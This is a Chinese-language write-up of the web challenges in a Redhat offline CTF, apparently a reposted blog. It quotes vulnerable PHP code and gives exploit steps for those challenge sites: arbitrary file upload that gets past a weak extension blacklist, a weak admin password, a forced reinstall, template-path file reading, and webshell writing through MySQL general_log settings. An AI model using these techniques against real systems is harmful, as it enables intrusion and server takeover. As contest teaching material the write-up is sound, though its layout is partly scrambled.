Redhat 线下赛 WEB WP
2021-05-13 22:30
标签:false hack sans off max review ike exe 简单 给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手的gamebox从而获取到分数。 漏洞点: 漏洞文件:/application/home/controller/Test.php 漏洞方法:dlfile() 函数功能: 使用curl获取页面信息,并将其存储到本地文件中。 此处的file_url以及save_to均可控,所以可以直接getshell或者获取flag,主办方甚至贴心的给了利用方法: 漏洞文件:application/home/controller/Uploadify.php 漏洞方法:preview() 函数功能: 提取正则中的base64编码的图片信息以及图片后缀,转存图片到本地。 漏洞点: 这里的type以及base64均为我们可控的,而这里只是简单的限制了上传的后缀不能为php,我们可以尝试上传php4、php5、phtml、.user.ini、.htaccess来绕过。 user:admin 漏洞文件:application/admin/controller/Uploadify.php 漏洞函数:preview() 和前台的一样,base64和type都可以控制,而且这里没有任何黑名单,可以直接控制后缀为php上传一个马。 格式: 漏洞点: 漏洞文件:install.php install.php中没有判断是否存在锁文件,导致可以任意重装。 这里不能用配置文件来getshell,因为用了addslashes函数来转义了引号,但是这里可以用来重置后台密码。 在后台-系统设置中,可以设置允许上传的后缀,php被过滤了,可以直接用phtml来getshell,也可以用.user.ini来getshell。 漏洞点: 漏洞文件:Apps/Runtime/Logs/Home/19_11_20.log 打开进去可以直接看到主办方直接测试用的payload: 直接用这个payload就能读到flag。 漏洞文件:Apps/Home/Controller/JqueryController.class.php 漏洞函数:index() 直接将我们传递到template_file代入进display方法中,跟进: 将$templateFile代入了view-display()中,跟进: 这里除了$templateFile,其余传递参数都为空,这里将templateFile传递进了fetch()方法,跟进: 于此处输出了模板文件: payload: 漏洞点: user:admin 过滤了INTO OUTFILE不能直接写shell,使用写日志的方式进行写shell。 首先查看日志: 再设置日志文件并打开日志记录: 这里卡了一会,直接写到一个不存在的文件里会500,所以只能尝试写日志进已存在的文件。 获取flag: 进入日志页面后全局搜flag即可获取flag。 还有一个比较简单的方法: 当时在比赛的时候没想到,该payload没测试过,不知道是否被过滤。 Redhat 线下赛 WEB WP 标签:false hack sans off max review ike exe 简单 原文地址:https://www.cnblogs.com/nul1/p/11993920.html赛制
粤湾基金
前台任意文件上传 #1
public function dlfile($file_url, $save_to)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch,CURLOPT_URL,$file_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$file_content = curl_exec($ch);
curl_close($ch);
$downloaded_file = fopen($save_to, ‘w‘);
fwrite($downloaded_file, $file_content);
fclose($downloaded_file);
}
前台任意文件上传 #2
public function preview(){
// 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
$DIR = ‘preview‘;
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}
$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds
if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}‘);
}
while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath)
preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)
$base64 = $matches[2];
$type = $matches[1];
if ($type === ‘jpeg‘) {
$type = ‘jpg‘;
}
if(strtolower($type)==‘php‘){
die(‘hacked!‘);
}
$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;
if (file_exists($filePath)) {
die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
}
后台弱口令
pass:admin123后台任意文件上传
public function preview(){
// 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
$DIR = ‘preview‘;
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}
$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds
if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}‘);
}
while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath)
data:image/php;base64,baseencode(yijuhua)
粤湾期货
重装系统
后台任意文件上传
粤湾投资
日志泄漏
前台任意文件读取
public function index(){
if(!isset($_GET[‘template_file‘])) {
$this->seoData = array(‘title‘ => ‘Jquery插件‘, ‘keywords‘ => ‘Jquery插件‘, ‘description‘ => ‘Jquery插件‘);
$this->display();
}
else{
$this->display($_GET[‘template_file‘]);
}
}
}
protected function display($templateFile=‘‘,$charset=‘‘,$contentType=‘‘,$content=‘‘,$prefix=‘‘) {
$this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}
public function display($templateFile=‘‘,$charset=‘‘,$contentType=‘‘,$content=‘‘,$prefix=‘‘) {
G(‘viewStartTime‘);
// 视图开始标签
Hook::listen(‘view_begin‘,$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen(‘view_end‘);
}
index.php/Jquery/?template_file=/flag
粤湾租赁
后台弱口令
pass:admin123后台任意SQL语句执行Getshell
SHOW VARIABLES LIKE ‘general%‘
set global general_log = "ON";
set global general_log_file=‘/var/www/html/xxx.php‘;
select ‘
select load_file("/flag");